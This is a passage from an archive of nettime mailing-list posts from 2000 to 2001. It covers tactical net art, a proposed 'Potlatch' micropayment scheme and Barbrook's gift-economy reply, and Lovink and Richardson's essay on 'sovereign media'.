of social practices and possibilities. For an idealised description of\nthese early days see Howard Rheingold's, Virtual Communities: Finding\nConnections in a Computerised World, Minerva edition published by Mandarin\nPaperbacks, London, 1995.\n  The group RtMark is an important example of Net based cultural activists\nadopting the presentation forms of large corporations. This involves a\nlarge variety of tropes from the language and aesthetics of their\npromotional videos, to their Net-based methods for raising capital for\nprojects, to their temporary 'mergers' with other groups to their\nregistration of '.com' URLs. See www.rtmark.com\n  Ibid\n  An http Cookie is \"A packet of information sent by an HTTP server to a\nWorld-Wide Web browser and then sent back by the browser each time it\naccesses that server. Cookies can contain any arbitrary information the\nserver chooses and are used to maintain state between otherwise stateless\nHTTP transactions. Typically this is used to authenticate or identify a\nregistered user of a web site without requiring them to sign in again every\ntime they access that site. Other uses are, e.g. maintaining a \"shopping\nbasket\" of goods you have selected to purchase during a session at a site,\nsite personalisation (presenting different pages to different users),\ntracking a particular user's access to a site.\" From FOLDOC Computing\nDictionary, http://wombat.doc.ic.ac.uk/foldoc/index.html\n  Geert Lovink is the co-founder of the nettime mailinglist - a crucial and\nagenda setting space for new media culture and politics (www.nettime.org).\n  http://www.nettime.org\n  David Garcia and Geert Lovink, The ABC of Tactical Media,\nwww.nettime.org, 1997\n  The 1996 Communications Decency Act (CDA), although later overturned,\nattempted to criminalise the\"knowing\" transmission of \"obscene or indecent\"\nmessages to any recipient under 18 years of age. Section 223(d) prohibits\nthe, \"knowin[g]\" sending or displaying to a person under 18 of any message\n\"that, in context, depicts or describes, in terms patently offensive as\nmeasured by contemporary community standards, sexual or excretory\nactivities or organs.\" Sited in \"Supreme Court Of The United States\nSyllabus; Janet Reno, Attorney General of the United States, et al.,\nAppellants V. American Civil Union et al. on Appeal from the United States\nDistrict Court for the Eastern District of Pennsylvania; No. 96-511\",\nreproduced on the Electronic Frontier Foundation website:\nhttp://www.eff.org/pub/Legal/Cases/EFF_ACLU_v_DoJ/19970626_cda.decision\n\n  The 1999 conference 'Next 5 Minutes 3' held 12-14 March in Amsterdam was\ndedicated to tactical media. The main topics of debate were The Art of\nCampaigning; Tactical Education; Post Governmental Organisations and The\nTechnical and its organisers included David Garcia and Geert Lovink. N5M3\nwas an important landmark in the development of the discourse on tactical\nmedia, and included the participation of many net artists and net art\nafficionados including Shu Lea Chung, Rachel Baker (programme notes), Alex\nGalloway, Steve Kurtz, Kate Rich, David Garcia and Geert Lovink.\nhttp://www.n5m.org\n  Michael Fried, \"Art and Objecthood\", first published in Artforum, Summer\n1967, in Art in Theory: 1900 - 1990: An Anthology of Changing Ideas, eds.\nCharles Harrison & Paul Wood, Blackwell, 1992, p.826\n  Fredric Jameson, Postmodernism or the Cultural Logic of Late Capitalism,\nVerso, London, 1996\n  Pierre Levy, \"The Art of Cyberspace\", in Electronic Culture: Technology\nand Visual Representation, ed. Timothy Druckrey, Aperture, 1996, p.367\n  Ibid\n  Rachel Baker's 1999 work Art of Work demonstrates the exact formalisation\nof this tactic as an artwork. As part of a bigger project in which artwork\nand office work are brought into relation, she encourages fellow temps to\nengage in 'work resource mismangement' by using their office time and\nequipment to creative and political ends. www.irational.org/tm/art_of_work\n  de Certeau, Ibid, p.117\n  This term is used by Joh Ippolito in \"The Museum of the future: A\nContradiction in Terms?\", July 1998,\nhttp://www.three.org/variable_media/vm_concept.html\n  Marc Aug\u00e9, Non-Places: introduction to an anthropology of supermodernity,\nVerso, 1997, p.49\n  http://www.hijack.org\n  Hartmut Winkler, \"Search Engines: Metamedia on the Internet?\", Readme!\nASCII Culture and the Revenge of Knowledge, eds. Bosma et al, Autonomedia,\n1999, p.30\n  Ibid\n  Here I am referring to user behaviour or navigation not the registration\nof URLs and the production of content which could undoubtedly be likened to\nsettlement. Perhaps it is important to note however, in the latter case,\nthat settlement does not relate to time spent in a certain place but rather\nownership of the right to be located or to mediate a certain message.\n  Yahoo! named its categorisation system 'the ontology', succinctly\nbetraying the contradiction between its purported utlility and underlying\nbias. See Ibid,p.31\n  See Harmut Winkler, Ibid.\n  \"Search engines of this type are wholly insensible to questions of\nsemantics or, to make it more clear: their very point is to exclude\nsemantic problems of the type evident with Yahoo. Yet that is not to say\nthat the problems themselves are eradicated. They are imposed on the users\nthrough the burden of having to reduce their questions to unambiguous\nstrings of significants, of having to be satisfied with the mechanically\nselected result. All questions unable to be reduced to keywords fall\nthrough the screen of the feasible. Technical and scientific termini are\nrelatively suitable for such a search, humanistic subjects are less\nsuitable\u008a\" Ibid, p. 32\n  For Etoy's explanation of the Digital Hijack see www.hijack.org\n  After search engine employees started to spot this trick merely by eye,\nspamdexers simply made the repeated word the same colour as the background\nand so rendering it invisible. For a discussion of Etoy and the history of\nspamdexing see Andrew Leonard's \"Search Me\",\nhttp://hotwired.lycos.com/packet/leonard/96/32/index3a/html, 1996\n  The Etoy team, in all public appearances, dress with complete uniformity.\nThe entirely male group sport shaved heads and favour utility clothing such\nas municipal-style boiler suits. The picture of the Etoy member mentioned,\nthrough the anonymity of the dark glasses and casual connection to the\ncable - a cipher for the information technosphere - produces its member as\nreplaceable techno-cultural 'foot soldier' (a term later employed by the\ngroup). This mode of subject positioning creates a glamorised, possibly\nironic surface to a posthumanist understanding of the erstwhile divide\nbetween nature and artifice.\n  Etoy, Ibid.\n  Walter Benjamin, Baudelaire, Verso, 1997, p.116\n  Charles Baudelaire, quoted by Benjamin, Ibid, p.151\n  de Certeau, chapter VII, \"Walking in the City\", Ibid.\n  This concept is also encapsulated by Henri Lefebvre in his term 'abstract\nspace'.\n  Ibid, p.94\n  Ibid, p.92\n  Ibid, p.93\n  It has, for example, become a common feature of both commercial and\nartistic websites to deploy error messages to startle the viewer into\nconcentration - most typically these do not pressage an imminent computer\ncrash but merely introduce a new part of the site.\n  Josephine Bosma, \"Heath Bunting: Street Artist, Political Net Artist or\nPlayful Trickster?\" Telepolis, www.heise.de/tp\n  Ibid\n  In \"The Paris of the Second Empire in Baudelaire\", Benjamin, Ibid, p.36\n  Ibid, p.46\n  Ibid, p.49\n  www.irational.org/x\n  \"I like playing. Yesterday I was walking around climbing on things,\ndrawing little drawings with chalk\u008aI spent many years just walking around\nthe streets.\" In Bosma, Ibid\n  Since the advent of X Project the URL's appearance in public space has\nbecome ubiquitous through its use in advertising. However the chalked tag's\nlack of any other identifying feature makes Bunting's use of the URL more\nambiguous than its usual association with a commercial product. It's\ndubious legal status also alligns it with the tactical appropriation of\npublic space or spectacle for ends which ultimately militate against its\nregulatory administration.\n  www.irational.org/x\n  See \"Quantum Physics with Lacan\" in The Individible Remainder,\n\"Cyberspace, Or, The Unbearable Closure of Being\" in The Plague of\nFantasies and \" Is it Possible to Traverse the Fantasy in Cyberspace?\" in\nThe Zizek Reader.\n  In Slavoy Zizek, The Indivisible Remainder: An Essay on Schelling and\nRelated Matters, Verso, 1996\n  Sited in Ibid, p.189\n  Ibid, p.190\n  Ibid\n  Ibid\n  Ibid, p.196\n  Ibid, p.196\n  www.irational.org/tm/dot2dot\n  For a discussion of the relationship between the free or 'gift' and\ncommercial porn economy, see Fr\u00e9d\u00e9ric Madre's \"Porn Free\", Mute Magazine,\nissue 14, 1999\n  irational.org is the server name and group working title for Rachel\nBaker, Heath Bunting and others - www.irational.org\n  It is certainly possible to see the tendency for commercial companies to\nembrace the open source movement as an instance of the commercial cooption\nof a tactical practice. Here, the collective writing of code, which occurs\nas a totally voluntary and distributed activity, can be converted back into\na commercial product and sold on the open market.\n  They have also created a CDRom based work, SOD, 1999, which converts the\ninteractive 3D game space of Wolfenstein into a series of black and white,\npatterned and entirely abstract spaces. The geometry of the original game\nspace and the first-person view point is stripped of its illusory effects\nand revealed as a sequence of basic, albeit animated, Euclidean spaces. The\npreservation of the game's original sound effects, however, renders its\nBrechtian act of desublimation even more potent.\n  http://sod.jodi.org\n  de Certeau, ibid, p.117\n\n\n\n-^- www.yourserver.co.uk/crashmedia -^-\n->- www.metamute.com -<-\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 13 Sep 2000 13:01:28 +0000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200009131358.JAA21111 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00113.html",
                "list": "nettime_l",
                "author_name": "Josephine Berry",
                "subject": "<nettime> Tactical Art in Virtual Space 2"
            },
            {
                "content-type": "text/plai",
                "from": "Jim Carrico <jim {AT} at.org>",
                "id": "00080",
                "content": "\nHi folks -\n\nexcuse my poor form in posting before properly introducing myself. \nI'm a web developer, among other things, based in Vancouver BC.  I \nwas in Berlin a few weeks ago, where I met Pit Schultz, who pointed \nme in the direction of nettime, which I've managed to remain ignorant \nof for all these years. Our conversation revolved around the need to \nestablish a movement in culture which parallels the \"free software\" \nmovement, in other words an aggressive \"viral\" initiative to \nestablish a vibrant public domain in culture. My position is that \nthis won't be possible without an alternative system of rewarding and \nsustaining creators without forcing them to rely on scarcity-based \nmarketing. For the last few years, I've been advocating for the \ndevelopment of a payment system for \"abundance-based\" digital \nproducts, under the umbrella term \"Potlatch\" - http://www.potlatch.net\n\nAndreas Broeckmann <abroeck {AT} transmediale.de> wrote:\n>ab: Geert, in a new text called The New Actonomy which you wrote together\n>with Florian Schneider, you describe the new possibilities of media\n>activism that are emerging, but you also point to the potential dangers\n>that people have to be aware of. The Internet as the master medium of the\n>1990s has, in the last two or three years, fallen into what looks like a\n>depression. Some say that the party and the hype are simply over, others\n>that we are entering into a more realistic stage where the importance of\n>the Net as a medium will continue to grow, while the utopian hopes subside\n>in the face of all sorts of critical reality checks. These reality checks\n>are also closely tied to a crisis of the general belief in globalisation\n>and the fast-aging 'new economy'. Does this crisis create room for\n>tactical media practices, or does it make the life of media activists more\n>difficult?\n>\n>gl: It is indeed true that advanced net activism (not the adolescent\n>'hacktivism') is much closer to dotcom business than many would suspect.\n>The new actonomy is open for business, constantly searching for funds,\n>just as tactical media no longer fully depend on state funding. For a good\n>reason: there is a common interest in innovative net concepts, software,\n>interfaces, usage of streaming media, free software and open source etc.\n>This might mean that the current wave of net activism will face a setback\n>in a little while because it's just behind the dotcom wave. The stagnation\n>of bandwidth is a real concern, for example, also for activists. The same\n>counts for the e-cash crisis and the absence of a functioning micro\n>payment system. Activists, sitting on their explosive content, would\n>really benefit from alternative e-commerce systems, not based on credit\n>cards. It is of course good for social and political work on the Net that\n>the cyberselfish robber mentality of the dotcoms has gone. But do not\n>forget the flip side of this. With libertarianism losing its hegemony\n>there is also the danger of throwing away the baby with the tub water and\n>giving away the cyber freedom to corporations and the state. That should\n>never happen. It is also up to activists to fight against censorship,\n>lobby against the flood of desastrous legislations etc.\n\n\nThe lack of a functioning system of micropayments or electronic cash \nis no accident. The institutions which should have been establishing \nstandards in this area - ie. banks and governments - have shown no \ninterest in doing so, in fact they have been downright hostile. This \nis disappointing, but hardly surprising, given the fact that interest \npayments and taxation are highly lucrative \"frictions\", which would \ntend to be eliminated by a more rational \"frictionless\" economy.\n\nIf we want an alternative e-commerce system, not based on credit \ncards, we're going to have to build it ourselves. I don't think this \nis as far-fetched as it sounds.\n\nMy basic premise is this: knowledge is not diminished as it spreads - \nin fact it is increased. Yet our economic system is based on \nscarcity, eg. the \"law\" of supply and demand which states that \ninfinite supply equals zero value.  The phrase \"information economy\" \nsuggested opposing vectors on a collision course: the collision is \nhappening right about now. One of two things must happen: either we \nmake digital objects uncopyable (and hence scarce) which has been \ncompared to \"making water not wet\", or we start playing around with \nthe idea that abundant resources may be valuable, and see where that \ntakes us.\n\nThe point is, it is very difficult to prevent people from copying and \nsharing digital goods, and it is nearly impossible to *force* them to \npay for them if they don't want to. Elementary psychology suggests \nthat rather than using increasingly draconian enforcement, we should \nbe dreaming up ways of making them *want to pay*. Guilt trips are \nunlikely to be successful, what we need is a game-like system in \nwhich there are tangible gains for participating.  The potlatch was \nan elaborate social game in which the winners were the one's who \n*gave the most* - it was very competitive, even hostile at times, \nbecause one's rivals were challenged to be more generous in return. \nThe net result was an economy of abundance, in which all wealth was \nconstantly in circulation.\n\nOur current economic system is no less a game, it's just that it's a \ngame that very few people can really play. It's down to the last few \nplayers now - I think maybe it's time to declare a winner, \ncongratulate everyone on a hard fought battle, and set the pieces \nback up.  Ha ha.\n\nAnyway, a few of us have been considering some possible solutions to \nthis dilemma, focussed of necessity on overcoming what may be the \nfundamental scarcity of the modern world - a consensual hallucination \ncalled money. My contribution to the debate is the idea that \ndigitally signed promissory notes, backed by the reputation of the \nissuer, could be the basis of a quick-and-dirty micropayment system. \nA first draft \"potlatch protocol\" document was posted in March at \nhttp://potlatch.net/protocol.01.html . There's a 'version 0.2' which \nshould be posted soon. Comments are welcome.\n\n\n\nJim Carrico\nhttp://www.potlatch.net\n\n\n\nPS - My Berlin contacts also mentioned the WOS conference in October \nhttp://www.mikro.org/Events/OS/wos2/index-e.html and that it may be a \ngood opportunity to discuss some of these ideas.  Anyone interested \nin a \"potlatch\" session?\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 20 Aug 2001 13:36:47 -0700",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200108210220.WAA32499 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0108/msg00080.html",
                "list": "nettime_l",
                "author_name": "Jim Carrico",
                "subject": "Potlatch (was: Re: <nettime> Garcia/Lovink: The GHI of Tactical Media)"
            },
            {
                "content-type": "text/plai",
                "from": "ichard barbrook <richard {AT} hrc.wmin.ac.uk>",
                "id": "00001",
                "content": "\nHiya,\n\nHere are some belated comments on a recent posting from Jim Carrico. The\ndetails of his interesting scheme on: <www.potlatch.net>:\n\n* The potlatch was designed to *prevent* abundance not facilitate it.\nTribal societies were threatened by the accumulation of wealth by their\nleaders turning into fixed class divisions. The potlatch hindered this\nprocess by encouraging the giving away (or destroying) of surpluses. Being\ngood liberals, the English colonialists were - not surprisingly - outraged\nby such \"irrational\" behaviour...\n\n* It is not universally accepted that money regulates the scarcity of\n*things*. This may be the academic orthodoxy, but it is debatable whether\nthis is what is actually happening within capitalist societies (see Adam\nSmith and his admirers). What money could be doing is regulating the\ndivision of labour, i.e. the scarcity of *time*. While it is fun to point\nout that neo-classical price theory implies that cost of digital\ninformation is zero, this ideology can't explain why the labour used for\nmaking this information often does have a price.\n\n* The token system advocated by potlatch.net seems very much like another\nform of money to me. Could it simply be a digital form of LETS scheme?\nThese can work where the tokens circulate within a smallish group of\npeople, are not transferable into hard currency and can't be accumulated.\nWithin a global information society, these limitations seem to be\nunenforceable. Wouldn't 'star' musicians (or programmers, writers or\nwhatever) be paid too many tokens for them to distribute back into a\nparallel economy. It is much more likely that they'll want their success\nturned into material goods and services from the mainstream economy. Sooner\nor later, people would be selling tokens for dollars (or euros, yen, etc.)\n- and therefore turning the tokens into another form of money.\n\n* The Situationists popularised potlatch as a political concept because it\nshowed that societies could flourish without any money (or tokens).\nHowever, social relationships inside tribes were formed between people who\nknew each other and were usually related. In contrast, we live in societies\nwhere most of our social relationships are with strangers who we'll never\nmeet. Money, states, corporations and other impersonal structures have long\nseemed to be the only methods of regulating such connections. This is why\nthe Situationists' potlatch metaphor was dismissed as utopian during the\n1960s. Yet, from our experiences on the Net, it is being slowly realised\nthat giving gifts can also create these impersonal relationships. As long\nas we're getting more back in return from others, we don't need payment\nfrom each and every person who appropriates our labour. Tokens are *not*\nneeded to regulate a hi-tech gift economy. Free gifts can remain free!\n\n* Why does *all* information work need to be paid for? The revival of the\npotlatch metaphor reflects an interesting contemporary phenomenon. Like our\ntribal ancestors, many people are now using their surplus time in an\n\"irrational\" fashion, i.e. working for free rather than for money. As in\nthe past, they're not being entirely unselfish. They also hope to gain\nrespect, admiration and even things in return for their efforts. But what\nthey're not doing is *directly* buying and selling labour time. A gift is a\ngift even when given away for an ulterior motive...\n\nAll the best.\n\nLater,\n\nRichard\n\n-------------------------------------------------------------------\nDr. Richard Barbrook\nHypermedia Research Centre\nSchool of Communications and Creative Industries\nUniversity of Westminster\nWatford Road\nNorthwick Park\nHARROW HA1 3TP\n\n<www.hrc.wmin.ac.uk>\n\nlandline: +44 (0)20 7911 5000 x 4590\n\nmobile: 07879-441873\n\n-------------------------------------------------------------------\n\"While there is irony, we are still living in the prehistoric age. And we\nare not out of it yet...\" - Henri Lefebvre\n-------------------------------------------------------------------\n\nThe HRC is involved in running regular cybersalons at the ICA in London. If\nyou would like to be informed about forthcoming events, you can subscribe\nto a listserver on our website: <www.cybersalon.org>.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 1 Sep 2001 01:10:27 -0400",
                "to": "NETTIME-L {AT} bbs.thing.net",
                "message-id": "20010901011027.B23318 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00001.html",
                "list": "nettime_l",
                "author_name": "richard barbrook",
                "subject": "Potlatch (was: Re: <nettime> Garcia/Lovink: The GHI of Tactical Media)"
            },
            {
                "content-type": "text/plai",
                "from": "kadian antal <subsolians {AT} yahoo.com>",
                "id": "00078",
                "content": "\nPreview of next issue of subsol, http://subsol.c3.hu\n\nWe would like to compile a selection of short texts\nand reflections on \"sovereign media\", and invite them\nin the form of responses to this post\u0085 \n\nPlease reply to Joanne Richardson at subsol {AT} mi2.hr\n_______________\n\nNotes on Sovereign Media \nGeert Lovink & Joanne Richardson \n\nIn this age of media overproduction, information\nimmunity is a question of life or death. Data are no\nlonger stimuli to interest, but an inimical barrage\nconstituting a physical threat. From exchange to\neffacement: communication is preying on naked\nexistence. This condition takes the shape of the\ncatastrophe while simultaneously embodying a promise\nof liberation. \n\nSovereign media do not criticize the baroque data\nenvironments or experience them as threats, but\nconsider them material, to use as they please. They\noperate beyond clean and dirty, in the garbage system\nruled by chaos pur sang. Their carefree rummaging in\nthe universal media archive is not a management\nstrategy for jogging jammed creativity. Sovereign\nmedia refuse to be positively defined and are good for\nnothing. They demand no attention and constitute no\nenrichment of the existing media landscape. Once\ndetached from every meaningful context, they switch\nover in fits and starts from one audio-video\ncollection to the next. The autonomously multiplying\nconnections generate a sensory space, which is\nrelaxing as well as nerve racking. This tangle can\nnever be exploited as a trend-sensitive genre again.\nAll the data in the world alternately make up one\nlovely big amusement park and a five star survival\ntrek in the paranoid category, where humor descends on\nawkward moments like an angel of salvation and lifts\nthe program up out of the muck.\n\n>From the calculating perspective of the mainstream,\nmedia are intermediaries, conduits for communication,\ncommunicators of information. Media mediate\ninformation and carry it from A to B. They are\npresented as the condition of possibility for the\nexchange of information in its commodity form. The\nmost useful media efface their presence; they\ndisseminate the information in the most condensed form\nin the shortest possible time to the largest audience.\nEconomy ultimately reduces itself to the economy of\ntime--Marx said somewhere. And vice versa, time\nreduces itself to economy--to measurement and\ncirculation for profit. The clock is necessary for the\ncalculation and the organization of life under the\nrules of business. At the dawn of capitalism,\nmerchants discovered the price of time as a\nconsequence of the calculability of space. The\nexchange of commodities entailed movement from a point\nto its destination, and the time taken up by movement\nthrough space became subordinated to the money-form. \n\nMedia signify mastery over time under the rule of\nprofit. Sovereign media are instances of mastery over\nnothingness \u0085 free of motivation, without purpose,\nthey let themselves go, driven by the winds of data.\nSovereign media are fundamentally disinterested, they\ndon't care about the extraction of value or a surplus\nof meaning, they are beyond the demand for information\nand the utilization principle of the network.\nSovereign media lack any comprehensive idea of its\ncustomer base. They cannot comprehend the language of\nmass media, a language militarized by the clock,\nreduced to sharp words that carry blunt concepts. They\ndo not pay attention to the attention economy.\nSovereign media are self-exponential. What they\ncommunicate is something other than information. They\ncommunicate themselves, liberated from the most\noppressive category around: the audience. Casting\nbeyond \"the public\" is the ultimate form of media\nfreedom.\n\nSovereign media insulate themselves against\nhyperculture. They seek no connection; they\ndisconnect. This is their point of departure--we have\na liftoff. They leave the media surface and orbit the\nmultimedia network as satellites. These\ndo-it-yourselfers shut themselves up inside a\nselfbuilt monad, an \"indivisible unit\" of introverted\ntechnologies which, like a room without doors or\nwindows, wishes to deny the existence of the manifest\nworld. Sovereign media are not individual monads,\nrather, the world they inhabit is a monad, a parallel\nuniverse\u0085 beyond (or beside) the universe of the\nmainstream media and its demand for representation,\nreality and truth. \n\nSovereign media have not abolished the desire for\nconnection and communication; they communicate with\neach possible node within their parallel universe. But\ntheir communication act is a denial of the maxim \"I am\nnetworked, therefore I am.\" The atmosphere inside the\nsealed cabin conflicts with the ideology of\nnetworking, which subordinates the process of making\nlinks and connections to a practical goal, a concrete\nproject, the promise of a future gain. Networking is\nnever fully in the present nor fully in-itself, it is\nendured for the sake of something always just out of\nimmediate reach. Sovereign media have severed the ties\nto utility, the weight of time, the labor of the\nproject, the measurement of profit. Freed from the\ndemand for information, communication becomes\ngregariousness, a gracious form of sociability. It\nbecomes what in fact it always was--a process of\nforging social relations that are not subject to\nexchange (giving something for the purpose of\nextracting a return). The public is freed of its\nobligation to show off its interest and can finally\nstop paying attention. The desire to connect is\ndetermined by the pleasure of communication rather\nthan the imperative to exchange information or\nestablish a (political) agenda. \n\nSovereign media differ from the post '68 concept of\nalternative media (and its most recent metamorphosis\ninto \"Indy\" media) as well as from 1990s tactical\nmedia. Alternative media work on the principle of\ncounter propaganda and mirror the mainstream media,\nwhich they feel needs to be corrected and\nsupplemented. Their strategic aim is a changed\nconsciousness--making individuals aware of their\nbehavior and opinions. These little media work with a\npositive variant of the cancer (or virus) model, which\nassumes that in the long term everyone, whether\nindirectly or through the big media, will become\ninformed about the problem being broached. They\npresuppose a tight network stretched around and\nthrough society, so that in the end the activism of a\nfew will unleash a chain reaction by the many.\nAlternative media have to appropriate Truth in order\nto operate. For sovereign media there is no Truth,\nonly data which can be taken apart and reassembled in\ntrillions of bytes.\n\nThe post-68 alternative media universe took shape as a\nswarm of little grassroots initiatives, self-organized\nby the \"radicals\" and militants--media from below in\nthe form of community newspapers, radio, and\ntelevision, which were only locally available, but\nuntroubled by their local constraints. This changed\nduring the 1990s when the internet made it possible\nfor do-it-yourself media to transcend their local\nboundaries, and become transnational, like their\nuni-directional global counterpart, the mainstream\nmedia. The Independent media of the 1990s is the\nglobalization of the alternative media (due to the\ndemocratization of technology) and the\nuniversalizability of the principle of\ngrassrootedness. \n\nIndy media, as the most recent legacy of the\nalternative media model, seek to supplant the old\nmedia universe. These counter media constitute an\ninternal, dialectical negation, an immanent critique\nthat can never get out from the presuppositions of the\nsystem it challenges. (We need only think of Marxism's\ndialectical negation of capitalism, which preserved\nthe imperative of productivity, the utility of\ninstrumental technology, the repressive apparatus of\nthe State, police and standing army, as a necessary\n\"first stage.\") The mass media universe purports to be\na true, genuine, democratic form of representation.\nIndy media critique these pretensions from the inside,\nwanting to expose the ideological shell behind them.\nBut they want to preserve the rational kernel, to\noffer a form of media that is a true, genuine,\ndemocratic form of representation. Indy media aspire\nto become the dialectical supersession of mass media,\nand dream of a future when media itself will be\ntranscended, insofar as media implies a separation\nbetween sender and receiver. With the democratization\nof information, as the receivers can become,\npotentially, the senders, such a separation is\nabolished, and information becomes a free-floating\nfield, a pure transparency. The truth of Indy media is\nthe post-medial universe of unmediated relationships.\n\nIndy media work by deploying counter-propaganda. They\noppose the false, ideological shell of the mass media\nwith counter-statements made from a\ncounter-perspective. Independent media are dependent\non the image of the mass media, which they seek to\nreverse--they need to bounce off this shell, often\nborrowing the same strategies. Propaganda is putting\nforward a position without being aware of its\nconstruction, taking it for something natural or\ninevitable, disarticulating the ideology it shelters\nand preserves. The counter media do not question the\nposition from which they speak. It is self-evident.\nAnd like mainstream media, they are deadly serious,\nthey fight, militantly, to defend their position. They\nhave a mission, a supreme Cause--the revolution in\nruins--and, perpetually, they wait. Caught in the web\nof journalistic discourse, they too calculate time.\nStill not actual, they invest their energy toward some\nfuture beyond that legitimates their existence.\nShowing off their militancy, they are often blind to\ninternal contradictions, closed off to the possibility\nof criticism, and devoid of the principle of pleasure.\nPropaganda and reflection do not always make good\nfriends. And pleasure can become a danger to the\nCause, it can throw it off-track, it can drown its\nunaware victims in a sea of forgetfulness. And above\nall, the counter media need to remember, to measure\noffenses, to accuse, to seek retribution. \n\nTactical media, by contrast, do not take themselves\nthat seriously. They don't need to take the moral high\nground and instead look for cracks in the media\nsystem. They know how to laugh, occasionally, even at\nthemselves. Urged by their desire to form new\ncoalitions they are capable of taking risks, even if\nthis means they might self-destruct in the process.\nClever tricks, the hunter's cunning, maneuvers,\npolymorphous situations, joyful discoveries, poetic as\nwell as warlike. The tacticals are rebellious users of\nthe mass media universe, whose messages they jam and\nhijack. As happy negatives, they are determined by\ntheir enemy. A fake GWBush page by RTMark cannot exist\nwithout the \"authentic\" one, which it parodies without\nreserve. Culture jammers do not exist without\ncorporate billboards. Tactical media use what is\nhandy, what can be improvised in the moment. They do\nnot deploy the same strategies as the inside, they shy\naway from solemnity, and the claims to truthful\nrepresentation. Tactical media create a system of\ndisinformation, which implicitly questions the power\nand status of signs. Information becomes laughable, it\nis exposed as a sham. The truth is not a hardcore\ndatabase full of \"facts\" but only appears as a brief\nmoment of revelation, popping up out of the\n(collective) unconscious.\n\nTactical media may be art, but they are not, however,\n\"disinterested\"--ultimately, they have some long-term\npolitical aim, they labor for a future cause, even\nthough they may know how to enjoy the moment. They\nhave given up the masses, but they seek to change the\nconsciousness of a minority, by conducting a politics\nby other means, a politics that has surpassed itself\nand become an art form. They wage not\ncounter-propaganda, but propaganda of the hoax. The\ntoolbox of tactical media is sometimes borrowed from\nthe basement of the avant-gardes, who although not\n\"militant\" in the strict political sense, made a\nfetish out of the metaphors warfare and terrorism. And\nmetaphors are not always innocent. The avant-gardes\nbegan decomposing a long time ago, as the militarism\nconcealed in their names, gestures, and mode of\norganization came increasingly under disrepute.  But\nsometimes they can still be heard gasping for life,\nsomewhere beyond the grave of history, having since\nmetamorphosed into \"communication guerrillas.\" \n \nUnlike the media of opposition, which are based on a\nradical critique of capitalist (art) production,\nsovereign media have alienated themselves from the\nentire business of media politics and the contemporary\narts scene. An advanced mutual disinterest hampers any\ninteraction. They move in parallel worlds which do not\ninterfere with each other. No counter information or\ncriticism of politics or art is given in order to\nstart up a dialogue with the authorities. Sovereign\nmedia have cut all surviving imaginary ties with\ntruth, reality and representation. They no longer\nconcentrate on the wishes of a specific target group,\nas the alternative and tactical media still do. They\nhave emancipated themselves from any potential\naudience, and thus they do not approach their audience\nas a moldable market segment, but offer it the \"royal\nspace\" the other deserves.\n\nThe royal Other is not a receiver of information, but\na partner in a communication without purpose.\nSovereign media are media without the message, the\ndialectic of media at a standstill. They are stalled\nat the intermediary step of making connections,\nwithout moving toward an aim, without the finality of\nexchange. Sovereign media lift up the media as an end\nin-itself. This should not be understood as a desire\nfor the \"purification\" of the medium, a desire that\nhas accompanied every old and new media revolution. On\nthe day film was born, for instance, the\nconceptualists of purity wanted to eliminate from its\nrealm everything that did not belong to it--narrative,\nrepresentation, metaphors--and which had been imported\nfrom other media, like literature. The sovereignty of\nmedia is not a phenomenological reduction or\npurification of a language specific to \"media as\nsuch.\" Sovereignty is not a conceptual project, but an\naesthetic wandering. Communication ceases to be a\ngeneral equivalent through which something is\nquantified and squeezed; it becomes an end in itself,\nnarcissistic, ecstatic, and free. \n\nIf Indy media labor to become the supersession\n(Aufhebung) of media into Truth, sovereign media are\nits total dispersion. The counter media seek to\nabolish the separation between sender and receiver,\nbetween medium and the message, thereby completing the\ninternal development of media. Sovereign media inhabit\na universe which is post-medial in another sense.\nThere is no sender and receiver because there is no\nbroadcast and no message. Sovereign media do not\nsurpass the sender-receiver regime by bringing it to\nits completion, they take no interest in it, they\nannihilate the problem, and with it, the desire for a\nsolution.\n\nWithout being otherwise secretive about their own\nexistence, the sovereigns remain unnoticed, since they\nstay in the blind spot that the bright media radiation\ncreates in the eye. And that's the reason they need\nnot be noticed as an avant-garde trend and expected to\nprovide art with a new impetus. The reason sovereign\nmedia are difficult to distinguish as a separate\ncategory is because the shape in which they appear can\nnever shine in its full lustre. The program producers\ndon't show themselves; we see only their masks, in the\nformats familiar to us. Every successful experiment\nthat can possibly be pointed to as an artistic or\npolitical statement is immediately exposed to\ncontamination. The mixers inherently do not provoke,\nbut infect chance passersby with corrupted banalities\nwhich present themselves in all their friendly\ntriviality. An inextricable tangle of meaning and\nirony makes it impossible for the experienced media\nreader to make sense of this.\n\nSo what are sovereign media? The form of the question\nmight be incorrect. Sovereign media are. In the\npleasure of Being Media, sure of themselves and\nlacking nothing, they embark on a journey to shape the\ndata universe.\n\nNovember 2001, Sydney/Zagreb\n\n\n\n__________________________________________________\nDo You Yahoo!?\nFind the one for you at Yahoo! Personals\nhttp://personals.yahoo.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 13 Nov 2001 10:30:42 -0800 (PST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200111140226.VAA14689 {AT} bbs.thing.net",
